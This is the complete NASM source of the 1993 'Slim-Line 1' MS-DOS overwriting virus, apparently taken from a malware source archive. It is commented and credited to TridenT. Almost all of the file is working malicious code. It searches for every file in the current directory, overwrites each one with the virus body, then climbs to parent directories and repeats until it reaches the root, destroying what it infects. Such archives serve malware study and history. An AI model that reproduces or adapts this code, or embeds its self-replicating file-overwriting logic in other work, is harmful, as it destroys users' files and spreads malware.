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vxug-MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.slim1.asm
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52 lines
2.0 KiB
NASM

;
; The Slim-Line 1 virus, from the Slim-line virus strain.
; (C) 1993 by [DàRkRàY]/TridenT
;
; This one's a dumb overwriting virus, as small as possible,
; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
;
_CODE SEGMENT
ASSUME CS:_CODE, DS:_CODE, ES:_CODE
ORG 100h
FIRST:
DB "*.*", 000h ; Infect ALL files..
MOV AH,4Eh ; Find first...
XOR CX,CX ; No attributes.
AGAIN:
MOV DX,100h ; String from 100h
PUSH DX ; Save 100h for later.
INT 21h ; Find it!
JC DIR_HIGHER ; Not found???
MOV AX,3D01h ; Open it...
MOV DX,9Eh ; Yeah, THAT file!
INT 21h ; I said NOW!
XCHG AX,BX ; Put handle in BX...
MOV AH,40h ; Infect it.
MOV CL,(LAST-FIRST) ; Thats how big I am...
POP DX ; Save it, ya remember...
INT 21h ; Go get it!
MOV AH,3Eh ; Party is over,
INT 21h ; close it..
MOV AH,4Fh ; Who's next!
JMP AGAIN
CHD DB "..", 000h ; Dir higher 8^]
DIR_HIGHER:
MOV AH,3Bh ; Change dir.
POP DX ; Don't mess with stack...
MOV DX,OFFSET CHD ; Dir higher...
INT 21h ; Ok...
JNC FIRST ; Root??
EXIT:
RET ; Then exit..
LAST:
_CODE ENDS
END FIRST